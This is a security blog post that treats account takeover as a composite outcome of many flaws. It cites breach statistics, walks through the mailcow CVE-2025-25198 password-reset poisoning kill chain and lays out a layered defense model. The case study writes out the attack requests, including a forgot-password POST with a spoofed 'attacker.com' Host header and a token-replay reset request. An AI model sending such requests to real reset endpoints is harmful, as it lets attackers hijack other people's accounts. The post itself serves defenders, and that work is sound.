Account Takeover: The Composite Attack Class

Account takeover is not a vulnerability in the way that SQLi or XSS are vulnerabilities. You won’t find a single CWE that maps to it. Account Takeover (ATO) is an outcome; the point where multiple individual flaws across authentication, session management, and recovery flows converge to give an attacker persistent, authenticated access to someone else’s account.

This post models ATO as a composite attack class. I’ll map the vectors to their root causes, show what the breach data says about prevalence, walk through a kill chain found in the wild (CVE-2025-25198), and build the defense architecture that exploitation checklists leave out. For the exploitation techniques themselves, i.e. the payloads, steps, and pentest checklist, see the HackTricks Account Takeover page. This post is its companion: the why, the so what, and the now what.

Why ATO Exists: The Binary Trust Problem

Most web applications treat authentication as a gate rather than a continuous property. The user proves their identity once at login, receives a session token, and the application trusts that token for every subsequent request until TTL expiry. This creates a binary trust model: you either have a valid session, or you don’t.

The architectural problem is that this model has multiple entry points, each with its own failure modes:

• Login: susceptible to credential stuffing, brute force, authentication oracles
• Session tokens: susceptible to theft, fixation, insufficient expiration
• Password recovery: susceptible to poisoning, enumeration, social engineering
• OAuth/SSO flows: susceptible to misconfigured or hijacked redirects, missing state parameters, token leakage
• Account mutation: susceptible to CSRF, missing re-authentication, Unicode normalization

The list goes on. Each of these is a distinct vulnerability class with its own CWE lineage. But they all produce the same result: an attacker holding a valid session for a session they don’t own. ATO is the convergence point.

The ATO Vector Map

The following maps the five most common vector classes to their root-cause CWEs.

Notice the pattern: five distinct vulnerability classes, five distinct CWE families, but one outcome. This is why ATO resists single-fix remediation. Patching your password reset flow doesn’t help if the attacker pivots to credential stuffing. Adding MFA doesn’t help if session tokens survive password changes.

The Data: How ATO Actually Happens at Scale

The 2025 Data Breach Investigations Report (DBIR) tells a clear story about which ATO vectors dominate in practice:

• 88% of Basic Web Application Attacks involved stolen credentials [Verizon, 2025]
• 19% of daily authentication attempts across monitored SSO providers were credential stuffing², rising to 25% in enterprise environments
• In the median case, only 49% of a user’s passwords across services were distinct from each other
• Nearly one-third of companies that suffered a ransomware attack had previously experienced an infostealer infection [SpyCloud, 2025]

The credential economy is the dominant ATO vector by sheer volume. But it’s also the most defended-against (rate limiting, MFA, breach detection). The vectors that bypass those defenses—recovery flow abuse, OAuth misconfiguration, session compromise—are lower volume but higher impact per incident, because they often circumvent MFA entirely.

Case Study: mailcow CVE-2025-25198—When the Recovery Flow Is the Vulnerability

This is what ATO looks like when the attacker doesn’t need your password, doesn’t need to bypass MFA, and doesn’t need a single XSS.

mailcow is an open-source, Docker-based mail server used by thousands of organizations. In February 2025, CVE-2025-25198 disclosed a Host header injection vulnerability in its password reset functionality.

The Flaw

mailcow’s password reset endpoint used the incoming Host header to construct the reset URL sent to the user’s email. No validation. No allowlist. Whatever the client sent in the Host header was reflected directly into the reset link.

Conceptually, this is CWE-640 (Weak Password Recovery Mechanism) in its purest form: the password recovery mechanism trusts attacker-controlled input. NVD classifies the specific vector as CWE-601 (Open Redirect), since the mechanism exploits URL redirection, but the root cause is a fundamentally broken recovery flow.

The Kill Chain

Step 1: Trigger the reset with a poisoned Host header

POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded

email=victim@target.tld

Step 2: The application generates a reset link using the injected host

The victim receives a legitimate-looking email from the real mailcow instance. But the reset URL points to the attacker’s domain:

https://attacker.com/reset?token=a1b2c3d4e5f6

Step 3: The victim clicks the link³

This is not something out of the ordinary. The victim requested a password reset (or believes they did). The email came from the legitimate mail server. The link looks like a reset link.

Step 4: The attacker captures the token

The victim’s browser sends the request to attacker.com, delivering the reset token in the URL. The attacker now holds a valid, single-use password reset token for the victim’s account.

Step 5: The attacker completes the reset on the real server

POST /reset HTTP/1.1
Host: mail.target.tld
Content-Type: application/x-www-form-urlencoded

token=a1b2c3d4e5f6&password=attacker-controlled

Step 6: Full account takeover

The victim’s password is changed. The attacker controls the email account. For the mail server, this means access to all email, the ability to intercept password resets for other services that use that email address, and a pivot point for lateral movement.

The Fix

mailcow patched this in version 2025-01a by hardcoding the server URL in reset link generation instead of deriving it from the request’s Host header. One line of trust removed. The entire attack chain collapses.

Why This Matters Beyond mailcow

This is not a one-off. Research has been documented dating all the way back to 2013 from James Kettle at PortSwigger. Over a decade later, the same class of flaw continues to appear in production software because developers still decide to trust the Host header—a value entirely controlled by the client.

HackTricks’ ATO page lists Host header injection as four bullet points. The underlying lesson requires more space: every password reset implementation must treat the Host header as untrusted input. If your reset URL is constructed from anything other than a hardcoded or server-side-configured canonical URL, you have a potential ATO vector.

Secure-by-Design: The Five-Layer Model

Because ATO is an outcome of multiple vulnerability classes, defense must be the outcome of multiple layers. No single control is sufficient. Each layer addresses a specific vector class from the map above.

But defense-in-depth isn’t a blanket paradigm. Every security control introduces friction—login challenges, session interruptions, recovery delays—and controls that degrade UX have to be factored in. The model below presents each layer as a three-tier spectrum: Baseline (minimum viable security), Recommended (strong protection with acceptable UX cost), and Hardened (maximum security for targets where friction is tolerable). Adapt to your threat model and user base.

Credential Resistance

Why not ‘MFA required’ as the baseline? To be frank: not everyone cares. Some users may be oblivious as to why MFA should be mandatory and the security risks associated with not having it. Risk-adaptive MFA covers the vast majority of credential-based ATO without penalizing every login.

Session Integrity

The CVE-2026-21622 (hexpm) lesson: Session invalidation on password change is a Baseline control, not a hardened add-on. hexpm failed to invalidate existing sessions after a password reset, allowing an attacker who had already compromised a session to retain access indefinitely. This is the bare minimum.

Recovery Hardening

CVE-2025-25198 revisited: Host header trust in reset URLs is a Baseline failure. The entire mailcow kill chain collapses with a single hardcoded URL. This control has no UX cost; there is no tier where omitting it is acceptable.

Federation Controls

The OAuth 2.1 baseline: Exact redirect URI matching is now a spec-level requirement, not a hardened-only control. OAuth 2.1 eliminated pattern and wildcard matching entirely. For multi-tenant patterns, this means a separate OAuth client registration per environment.

Detection & Response

Key Takeaways

• ATO is not a vulnerability: it is the consequence of vulnerabilities. No single CWE maps to it. Defense must address each contributing vector class independently.
• Credential abuse dominates by volume, but recovery flow abuse and OAuth misconfiguration bypass MFA entirely, making them higher impact per incident.
• Password reset poisoning via Host header injection is still actively exploited. The fix is always the same: never derive URLs from client-controlled headers.
• Every vulnerability class covered in this series can feed into ATO as a downstream impact. Understanding ATO first frames the stakes for everything that follows.
• For the exploitation techniques themselves, see the HackTricks ATO page. This post provides the model, evidence, and defense. HackTricks provides the playbook.

References

Verizon. (2025). 2025 Data Breach Investigations Report. https://www.verizon.com/business/resources/reports/dbir/

Check Point. (2025). The Alarming Surge in Compromised Credentials in 2025. https://blog.checkpoint.com/security/the-alarming-surge-in-compromised-credentials-in-2025/

SpyCloud. (2025). 2025 Identity Exposure Report. https://spycloud.com/

Kettle, J. (2013). Practical HTTP Host Header Attacks. PortSwigger Research. https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html

MITRE. (2025). CWE-640: Weak Password Recovery Mechanism for Forgotten Password. https://cwe.mitre.org/data/definitions/640.html

NVD. (2025). CVE-2025-25198: mailcow Host Header Password Reset Poisoning. https://nvd.nist.gov/vuln/detail/CVE-2025-25198

GitHub Advisory. (2025). CVE-2025-61136: sharewarez Host Header Injection in Password Reset. https://github.com/advisories/GHSA-3pjg-h7vp-42p9

NVD. (2026). CVE-2026-21622: hexpm Insufficient Session Expiration. https://nvd.nist.gov/vuln/detail/CVE-2026-21622

HackTricks. (2025). Account Takeover. https://book.hacktricks.xyz/pentesting-web/account-takeover

OWASP. (2021). A07:2021 — Identification and Authentication Failures. https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/